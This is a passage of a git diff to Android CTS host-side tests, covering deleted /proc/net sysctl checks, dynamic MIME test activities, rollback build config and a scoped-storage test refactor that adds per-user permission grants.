-        setAirplaneModeEnabled(false);
-        LogUtil.CLog.d("Original airplane mode state: " + mOriginalAirplaneModeEnabled);
-    }
-
-    @Override
-    public void tearDown(TestInformation testInformation, Throwable e)
-            throws DeviceNotAvailableException {
-        setAirplaneModeEnabled(mOriginalAirplaneModeEnabled);
-        setAppStandbyEnabled(mOriginalAppStandbyEnabled);
-        setBatteryStatsConstants(mOriginalBatteryStatsConstants);
-    }
-
-    private void setAirplaneModeEnabled(boolean enable) throws DeviceNotAvailableException {
-        executeCmd("cmd connectivity airplane-mode " + (enable ? "enable" : "disable"));
-    }
-
-    private boolean getAirplaneModeEnabled() throws DeviceNotAvailableException {
-        return "enabled".equals(executeCmd("cmd connectivity airplane-mode").trim());
-    }
-
-    private void setAppStandbyEnabled(String appStandbyEnabled) throws DeviceNotAvailableException {
-        if ("null".equals(appStandbyEnabled)) {
-            executeCmd("settings delete global app_standby_enabled");
-        } else {
-            executeCmd("settings put global app_standby_enabled " + appStandbyEnabled);
-        }
-    }
-
-    private String getAppStandbyEnabled() throws DeviceNotAvailableException {
-        return executeCmd("settings get global app_standby_enabled").trim();
-    }
-
-    private void setBatteryStatsConstants(String batteryStatsConstants)
-            throws DeviceNotAvailableException {
-        executeCmd("settings put global battery_stats_constants \"" + batteryStatsConstants + "\"");
-    }
-
-    private String getBatteryStatsConstants() throws DeviceNotAvailableException {
-        return executeCmd("settings get global battery_stats_constants");
-    }
-
-    private String executeCmd(String cmd) throws DeviceNotAvailableException {
-        final String output = mDevice.executeShellCommand(cmd).trim();
-        LogUtil.CLog.d("Output for '%s': %s", cmd, output);
-        return output;
-    }
-}
diff --git a/hostsidetests/net/src/com/android/cts/net/ProcNetTest.java b/hostsidetests/net/src/com/android/cts/net/ProcNetTest.java
deleted file mode 100644
index 19e61c6..0000000
--- a/hostsidetests/net/src/com/android/cts/net/ProcNetTest.java
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-
-import java.lang.Integer;
-import java.lang.String;
-import java.util.Arrays;
-import java.util.List;
-import java.util.ArrayList;
-
-/**
- * Host-side tests for values in /proc/net.
- *
- * These tests analyze /proc/net to verify that certain networking properties are correct.
- */
-public class ProcNetTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
-    private static final String SPI_TIMEOUT_SYSCTL = "/proc/sys/net/core/xfrm_acq_expires";
-    private static final int MIN_ACQ_EXPIRES = 3600;
-    // Global sysctls. Must be present and set to 1.
-    private static final String[] GLOBAL_SYSCTLS = {
-        "/proc/sys/net/ipv4/fwmark_reflect",
-        "/proc/sys/net/ipv6/fwmark_reflect",
-        "/proc/sys/net/ipv4/tcp_fwmark_accept",
-    };
-
-    // Per-interface IPv6 autoconf sysctls.
-    private static final String IPV6_SYSCTL_DIR = "/proc/sys/net/ipv6/conf";
-    private static final String AUTOCONF_SYSCTL = "accept_ra_rt_table";
-
-    // Expected values for MIN|MAX_PLEN.
-    private static final String ACCEPT_RA_RT_INFO_MIN_PLEN_STRING = "accept_ra_rt_info_min_plen";
-    private static final int ACCEPT_RA_RT_INFO_MIN_PLEN_VALUE = 48;
-    private static final String ACCEPT_RA_RT_INFO_MAX_PLEN_STRING = "accept_ra_rt_info_max_plen";
-    private static final int ACCEPT_RA_RT_INFO_MAX_PLEN_VALUE = 64;
-    // Expected values for RFC 7559 router soliciations.
-    // Maximum number of router solicitations to send. -1 means no limit.
-    private static final int IPV6_WIFI_ROUTER_SOLICITATIONS = -1;
-    private ITestDevice mDevice;
-    private IBuildInfo mBuild;
-    private String[] mSysctlDirs;
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mBuild = build;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        super.setDevice(device);
-        mDevice = device;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mSysctlDirs = getSysctlDirs();
-    }
-
-    private String[] getSysctlDirs() throws Exception {
-        String interfaceDirs[] = mDevice.executeAdbCommand("shell", "ls", "-1",
-                IPV6_SYSCTL_DIR).split("\n");
-        List<String> interfaceDirsList = new ArrayList<String>(Arrays.asList(interfaceDirs));
-        interfaceDirsList.remove("all");
-        interfaceDirsList.remove("lo");
-        return interfaceDirsList.toArray(new String[interfaceDirsList.size()]);
-    }
-
-
-    protected void assertLess(String sysctl, int a, int b) {
-        assertTrue("value of " + sysctl + ": expected < " + b + " but was: " + a, a < b);
-    }
-
-    protected void assertAtLeast(String sysctl, int a, int b) {
-        assertTrue("value of " + sysctl + ": expected >= " + b + " but was: " + a, a >= b);
-    }
-
-    public int readIntFromPath(String path) throws Exception {
-        String mode = mDevice.executeAdbCommand("shell", "stat", "-c", "%a", path).trim();
-        String user = mDevice.executeAdbCommand("shell", "stat", "-c", "%u", path).trim();
-        String group = mDevice.executeAdbCommand("shell", "stat", "-c", "%g", path).trim();
-        assertEquals(mode, "644");
-        assertEquals(user, "0");
-        assertEquals(group, "0");
-        return Integer.parseInt(mDevice.executeAdbCommand("shell", "cat", path).trim());
-    }
-
-    /**
-     * Checks that SPI default timeouts are overridden, and set to a reasonable length of time
-     */
-    public void testMinAcqExpires() throws Exception {
-        int value = readIntFromPath(SPI_TIMEOUT_SYSCTL);
-        assertAtLeast(SPI_TIMEOUT_SYSCTL, value, MIN_ACQ_EXPIRES);
-    }
-
-    /**
-     * Checks that the sysctls for multinetwork kernel features are present and
-     * enabled.
-     */
-    public void testProcSysctls() throws Exception {
-        for (String sysctl : GLOBAL_SYSCTLS) {
-            int value = readIntFromPath(sysctl);
-            assertEquals(sysctl, 1, value);
-        }
-
-        for (String interfaceDir : mSysctlDirs) {
-            String path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + AUTOCONF_SYSCTL;
-            int value = readIntFromPath(path);
-            assertLess(path, value, 0);
-        }
-    }
-
-    /**
-     * Verify that accept_ra_rt_info_{min,max}_plen exists and is set to the expected value
-     */
-    public void testAcceptRaRtInfoMinMaxPlen() throws Exception {
-        for (String interfaceDir : mSysctlDirs) {
-            String path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "accept_ra_rt_info_min_plen";
-            int value = readIntFromPath(path);
-            assertEquals(path, value, ACCEPT_RA_RT_INFO_MIN_PLEN_VALUE);
-            path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "accept_ra_rt_info_max_plen";
-            value = readIntFromPath(path);
-            assertEquals(path, value, ACCEPT_RA_RT_INFO_MAX_PLEN_VALUE);
-        }
-    }
-
-    /**
-     * Verify that router_solicitations exists and is set to the expected value
-     * and verify that router_solicitation_max_interval exists and is in an acceptable interval.
-     */
-    public void testRouterSolicitations() throws Exception {
-        for (String interfaceDir : mSysctlDirs) {
-            String path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "router_solicitations";
-            int value = readIntFromPath(path);
-            assertEquals(IPV6_WIFI_ROUTER_SOLICITATIONS, value);
-            path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "router_solicitation_max_interval";
-            int interval = readIntFromPath(path);
-            final int lowerBoundSec = 15 * 60;
-            final int upperBoundSec = 60 * 60;
-            assertTrue(lowerBoundSec <= interval);
-            assertTrue(interval <= upperBoundSec);
-        }
-    }
-}
diff --git a/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java b/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
index ec25a3b..af7a35e 100644
--- a/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
+++ b/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
@@ -23,9 +23,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.os.PowerManagerInternalProto.Wakefulness;
 
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.ProtoUtils;
 import com.android.server.power.PowerManagerServiceDumpProto;
 import com.android.tradefed.device.ITestDevice;
@@ -53,6 +55,8 @@
     public synchronized void setUp() throws Exception {
         mDevice = getDevice();
         assumeTrue("Test only applicable to TVs.", hasDeviceFeature(FEATURE_LEANBACK_ONLY));
+        assumeFalse("Test only applicable to devices launching on android R or later.",
+            (PropertyUtil.getFirstApiLevel(mDevice) < 30));
     }
 
     @After
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
index 83cdf0e..a2b7c08 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
@@ -23,7 +23,7 @@
         <uses-library android:name="android.test.runner" />
         <activity android:name="android.dynamicmime.common.activity.FirstActivity">
             <intent-filter android:label="TestApp.FirstActivity">
-                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
                 <action android:name="android.dynamicmime.preferred.FILTER_INFO_HOOK_group_first"/>
                 <category android:name="android.intent.category.DEFAULT"/>
                 <data android:mimeGroup="group_first"/>
@@ -32,14 +32,34 @@
 
         <activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity">
             <intent-filter android:label="TestApp.TwoGroupsActivity">
-                <action android:name="android.intent.action.SEND"/>
-                <category android:name="android.intent.category.DEFAULT"/>
+                <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
                 <action android:name="android.dynamicmime.preferred.FILTER_INFO_HOOK_group_both"/>
+                <category android:name="android.intent.category.DEFAULT"/>
                 <data android:mimeGroup="group_third"/>
                 <data android:mimeGroup="group_second"/>
             </intent-filter>
         </activity>
 
+        <activity android:name="android.dynamicmime.common.activity.StaticActivity1"
+            android:exported="true">
+            <intent-filter android:label="StaticActivity1">
+                <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="text/plain"/>
+                <data android:mimeType="image/png"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.dynamicmime.common.activity.StaticActivity2"
+            android:exported="true">
+            <intent-filter android:label="StaticActivity2">
+                <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="text/plain"/>
+                <data android:mimeType="image/png"/>
+            </intent-filter>
+        </activity>
+
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
                   android:exported="true">
             <intent-filter>
diff --git a/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity1.java b/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity1.java
new file mode 100644
index 0000000..a76f09e
--- /dev/null
+++ b/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity1.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.dynamicmime.common.activity;
+
+import android.app.Activity;
+
+/**
+ * Activity that has intent-filter to handle "text/plain" and "image/png" MIME types.
+ *
+ * Needed for {@link android.dynamicmime.testapp.preferred.PreferredActivitiesTest} to ensure that
+ * there is more than one activity, capable of handling certain MIME types.
+ */
+public class StaticActivity1 extends Activity {
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity2.java b/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity2.java
new file mode 100644
index 0000000..ad536db
--- /dev/null
+++ b/hostsidetests/packagemanager/dynamicmime/common/src/android/dynamicmime/common/activity/StaticActivity2.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.dynamicmime.common.activity;
+
+import android.app.Activity;
+
+/**
+ * Activity that has intent-filter to handle "text/plain" and "image/png" MIME types.
+ *
+ * Needed for {@link android.dynamicmime.testapp.preferred.PreferredActivitiesTest} to ensure that
+ * there is more than one activity, capable of handling certain MIME types.
+ */
+public class StaticActivity2 extends Activity {
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index c9e25b0..d37b0f5 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -54,11 +54,9 @@
 
 @RunWith(AndroidJUnit4.class)
 public class PreferredActivitiesTest extends BaseDynamicMimeTest {
-    private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
-    private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
+    private static final String ACTION = "android.dynamicmime.preferred.TEST_ACTION";
 
     private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
-    private static final BySelector RESOLVER_DIALOG = By.res("android:id/contentPanel");
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
 
@@ -71,17 +69,6 @@
     @Before
     public void setUp() {
         Utils.installApk(APK_PREFERRED_APP);
-        assumeNavigationMode();
-    }
-
-    private void assumeNavigationMode() {
-        Resources res = context().getResources();
-        int navModeResId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer",
-                "android");
-        int navMode = res.getInteger(navModeResId);
-
-        assumeTrue("Non-gesture navigation mode required",
-                navMode != NAV_BAR_INTERACTION_MODE_GESTURAL);
     }
 
     @After
@@ -288,10 +275,6 @@
     }
 
     private UiObject2 findActivityInDialog(String label) {
-        getUiDevice()
-                .wait(Until.findObject(RESOLVER_DIALOG), TIMEOUT)
-                .swipe(Direction.UP, 1f);
-
         return getUiDevice().findObject(By.text(label));
     }
 
@@ -331,7 +314,7 @@
 
     private static void sendIntent(String mimeType) {
         Intent sendIntent = new Intent();
-        sendIntent.setAction(Intent.ACTION_SEND);
+        sendIntent.setAction(ACTION);
         sendIntent.setType(mimeType);
         sendIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         targetContext().startActivity(sendIntent, null);
diff --git a/hostsidetests/rollback/Android.bp b/hostsidetests/rollback/Android.bp
index d58bc93..9871ab4 100644
--- a/hostsidetests/rollback/Android.bp
+++ b/hostsidetests/rollback/Android.bp
@@ -16,9 +16,8 @@
     name: "CtsRollbackManagerHostTestCases",
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.java"],
-    libs: [
-        "cts-tradefed", "cts-shim-host-lib", "tradefed", "truth-prebuilt", "cts-install-lib-host"
-    ],
+    libs: ["cts-tradefed", "cts-shim-host-lib", "tradefed", "truth-prebuilt"],
+    static_libs: ["cts-install-lib-host"],
     data: [":CtsRollbackManagerHostTestHelperApp", ":CtsRollbackManagerHostTestHelperApp2"],
     test_suites: ["cts", "general-tests"],
 }
diff --git a/hostsidetests/rollback/TEST_MAPPING b/hostsidetests/rollback/TEST_MAPPING
index a353a74..acec493 100644
--- a/hostsidetests/rollback/TEST_MAPPING
+++ b/hostsidetests/rollback/TEST_MAPPING
@@ -1,5 +1,5 @@
 {
-  "presubmit": [
+  "presubmit-large": [
     {
       "name": "CtsRollbackManagerHostTestCases"
     }
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 17abd6b..0a0ea0d 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -16,8 +16,6 @@
 
 package com.android.cts.rollback.host;
 
-import static com.android.cts.shim.lib.ShimPackage.SHIM_APEX_PACKAGE_NAME;
-
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.hamcrest.CoreMatchers.endsWith;
@@ -25,10 +23,8 @@
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
-import com.android.cts.install.lib.host.InstallUtilsHost;
-import com.android.ddmlib.Log;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
+import android.cts.install.lib.host.InstallUtilsHost;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
diff --git a/hostsidetests/sample/AndroidTest.xml b/hostsidetests/sample/AndroidTest.xml
index 09458a0..80189da 100644
--- a/hostsidetests/sample/AndroidTest.xml
+++ b/hostsidetests/sample/AndroidTest.xml
@@ -19,9 +19,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <!-- TODO(b/158958526): Example of parameterized mainline module. Remove it once the workflow is confirmed working fine. -->
-    <option name="config-descriptor:metadata" key="mainline-param" value="com.google.android.ipsec.apex" />
-    <option name="config-descriptor:metadata" key="mainline-param" value="com.google.android.ipsec.apex+com.google.android.permission.apex" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSampleDeviceApp.apk" />
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 43208ac..bbdf653 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- TODO(b/169101565): change to secondary_user when fixed -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/scopedstorage/OWNERS b/hostsidetests/scopedstorage/OWNERS
index 9156e6b..0b2799a 100644
--- a/hostsidetests/scopedstorage/OWNERS
+++ b/hostsidetests/scopedstorage/OWNERS
@@ -1,6 +1,6 @@
+corinac@google.com
 jsharkey@android.com
 maco@google.com
 marcone@google.com
 nandana@google.com
-shafik@google.com
 zezeozue@google.com
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
new file mode 100644
index 0000000..983cc66
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+abstract class BaseHostTestCase extends BaseHostJUnit4Test {
+    private int mCurrentUserId = NativeDevice.INVALID_USER_ID;
+
+    protected String executeShellCommand(String cmd, Object... args) throws Exception {
+        return getDevice().executeShellCommand(String.format(cmd, args));
+    }
+
+    protected int getCurrentUserId() throws Exception {
+        setCurrentUserId();
+
+        return mCurrentUserId;
+    }
+
+    private void setCurrentUserId() throws Exception {
+        if (mCurrentUserId != NativeDevice.INVALID_USER_ID) return;
+
+        ITestDevice device = getDevice();
+        mCurrentUserId = device.getCurrentUser();
+        CLog.i("Current user: %d");
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 8729f9b..594fd6a 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -18,12 +18,10 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.junit.Assert.assertTrue;
-
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.tradefed.device.contentprovider.ContentProviderHandler;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
 import org.junit.Before;
@@ -35,20 +33,19 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 @AppModeFull
-public class LegacyStorageHostTest extends BaseHostJUnit4Test {
-    private boolean isExternalStorageSetup = false;
+public class LegacyStorageHostTest extends BaseHostTestCase {
 
-    private String executeShellCommand(String cmd) throws Exception {
-        return getDevice().executeShellCommand(cmd);
-    }
+    private boolean mIsExternalStorageSetup;
+
+    private ContentProviderHandler mContentProviderHandler;
 
     /**
      * Runs the given phase of LegacyFileAccessTest by calling into the device.
      * Throws an exception if the test phase fails.
      */
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
-                "android.scopedstorage.cts.legacy.LegacyStorageTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts.legacy",
+                "android.scopedstorage.cts.legacy.LegacyStorageTest", phase)).isTrue();
     }
 
     /**
@@ -56,14 +53,18 @@
      * so in order to test a case where the reader has only WRITE, we must explicitly revoke READ.
      */
     private void grantPermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm grant android.scopedstorage.cts.legacy " + perm);
+            executeShellCommand("pm grant --user %d android.scopedstorage.cts.legacy %s",
+                    currentUserId, perm);
         }
     }
 
     private void revokePermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm revoke android.scopedstorage.cts.legacy " + perm);
+            executeShellCommand("pm revoke --user %d android.scopedstorage.cts.legacy %s",
+                    currentUserId, perm);
         }
     }
 
@@ -72,19 +73,21 @@
      * creating file.
      */
     private void createFileAsShell(String filePath) throws Exception {
-        executeShellCommand("touch " + filePath);
+        executeShellCommand("touch %s", filePath);
         assertThat(getDevice().doesFileExist(filePath)).isTrue();
     }
 
     private void setupExternalStorage() throws Exception {
-        if (!isExternalStorageSetup) {
+        if (!mIsExternalStorageSetup) {
             runDeviceTest("setupExternalStorage");
-            isExternalStorageSetup = true;
+            mIsExternalStorageSetup = true;
         }
     }
 
     @Before
     public void setup() throws Exception {
+        mContentProviderHandler = new ContentProviderHandler(getDevice());
+        mContentProviderHandler.setUp();
         setupExternalStorage();
         // Granting WRITE automatically grants READ as well, so we grant them both explicitly by
         // default in order to avoid confusion. Test cases that don't want any of those permissions
@@ -95,6 +98,7 @@
 
     @After
     public void tearDown() throws Exception {
+        mContentProviderHandler.tearDown();
         revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE",
                 "android.permission.READ_EXTERNAL_STORAGE");
     }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
index dbfa9fb..256540a 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
@@ -16,7 +16,7 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import com.android.tradefed.device.ITestDevice;
 
@@ -25,16 +25,14 @@
 
 public class PublicVolumeHostTest extends ScopedStorageHostTest {
     /** Used to clean up the virtual volume after the test */
-    private static ITestDevice sDevice = null;
-    private boolean mIsPublicVolumeSetup = false;
-    String executeShellCommand(String cmd) throws Exception {
-        return getDevice().executeShellCommand(cmd);
-    }
+    private static ITestDevice sDevice;
+    private boolean mIsPublicVolumeSetup;
 
     private void setupNewPublicVolume() throws Exception {
         if (!mIsPublicVolumeSetup) {
-            assertTrue(runDeviceTests("android.scopedstorage.cts",
-                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            assertThat(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"))
+                            .isTrue();
             mIsPublicVolumeSetup = true;
         }
     }
@@ -51,8 +49,8 @@
      */
     @Override
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts",
-                "android.scopedstorage.cts.PublicVolumeTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.PublicVolumeTest", phase)).isTrue();
     }
 
     @Before
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
index c9bd65f..4b38df1 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
@@ -16,7 +16,7 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,8 +33,9 @@
 
     private void setupNewPublicVolume() throws Exception {
         if (!mIsPublicVolumeSetup) {
-            assertTrue(runDeviceTests("android.scopedstorage.cts",
-                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            assertThat(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"))
+                            .isTrue();
             mIsPublicVolumeSetup = true;
         }
     }
@@ -51,8 +52,8 @@
      */
     @Override
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
-                "android.scopedstorage.cts.legacy.PublicVolumeLegacyTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts.legacy",
+                "android.scopedstorage.cts.legacy.PublicVolumeLegacyTest", phase)).isTrue();
     }
 
     @Before
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index b20342c..9e29480 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -16,13 +16,13 @@
 
 package android.scopedstorage.cts.host;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.contentprovider.ContentProviderHandler;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
 import org.junit.After;
@@ -35,17 +35,18 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 @AppModeFull
